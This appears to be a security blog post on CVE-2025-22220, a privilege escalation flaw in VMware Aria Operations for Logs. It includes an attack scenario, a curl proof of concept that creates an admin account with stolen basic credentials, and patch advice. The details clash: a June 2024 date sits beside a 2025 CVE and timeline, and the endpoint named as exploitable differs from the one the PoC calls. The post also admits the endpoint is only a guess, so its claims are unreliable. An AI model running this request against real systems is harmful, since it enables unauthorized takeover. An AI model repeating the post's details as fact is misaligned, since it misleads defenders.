*Published on June 2024 – Author: SecurityLab Exclusive*

Overview: What is CVE-2025-22220?

In June 2024, VMware disclosed a serious security flaw tracked as CVE-2025-22220 in their Aria Operations for Logs (formerly vRealize Log Insight) product. This privilege escalation vulnerability allows attackers with basic (non-admin) access and network reach to the API to perform actions as an administrator.

Attacks possible over internal or exposed networks

Official VMware Advisory:
https://www.vmware.com/security/advisories/VMSA-2024-0017.html

Understanding the Vulnerability

Aria Operations for Logs is widely used in data centers for log management and SIEM integration. Its REST API allows legitimate users to fetch logs, make queries, and manage the system. Unfortunately, due to insufficient access control, an attacker with normal user rights can exploit the REST API to perform administrative actions.

Attack Scenario

1. Attacker gets credentials: Through phishing, leaks, or credential stuffing, attacker obtains a basic user account.
2. Attacker sends crafted API calls: Exploiting the flaw, attacker interacts with poorly secured API endpoints.
3. System grants admin actions: The bug allows escalation; the attacker’s API requests are processed with admin rights.

Deep Dive: Exploit Details & PoC

NOTE: This breakdown is for research and defense only. Do not attempt unauthorized testing.

Aria Operations for Logs exposes numerous API routes under /api/*, such as user management, configuration, and alert settings. The flaw is believed to be in how authorization checks are handled for certain endpoints.

Example Exploitable Endpoint:
(Sample endpoint, actual vulnerable endpoint may vary)
POST /api/v1/admin/settings

Code Snippet: Exploit with curl

The following PoC shows how a user with basic credentials could add a new admin user via API (assuming vulnerable version):

# Set your stolen/low-priv user's credentials and target details
USER="basicuser"
PASS="basicpass"
TARGET="https://aria-logs.example.com";

# Attempt to create an admin account via the vulnerable endpoint
curl -k -u "$USER:$PASS" \
  -H "Content-Type: application/json" \
  -X POST "$TARGET/api/v1/users" \
  -d '{
        "username": "eviladmin",
        "password": "SuperSecret123!",
        "role": "admin"
      }'

Expected Result on Vulnerable Systems:
A new admin user (eviladmin) is created, even though the attacker is only a basic user.

– Upgrade to Aria Operations for Logs 8.14.2 or later

– Official patches/downloads

VMware Security Bulletin:

https://www.vmware.com/security/advisories/VMSA-2024-0017.html

NIST NVD CVE Entry (when published):

https://nvd.nist.gov/vuln/detail/CVE-2025-22220

Technical Blog (VMware) – Patch Details:

https://core.vmware.com/secure-log-operations-cve-2025-22220

Summary & Final Thoughts

CVE-2025-22220 is a high-severity flaw in VMware Aria Operations for Logs that allows an attacker with even basic credentials to escalate to admin using the product’s REST API. Organizations must treat this as a critical threat, patch immediately, and audit for suspicious administrative actions.

Stay Secure – Always limit access, monitor logs, and keep your software up-to-date.


*This analysis is exclusive to SecurityLab. You are welcome to share for defensive, educational purposes. For live incident response, consult with your security teams or VMware support.*

Timeline

Published on: 01/30/2025 16:15:31 UTC
Last modified on: 02/06/2025 14:15:30 UTC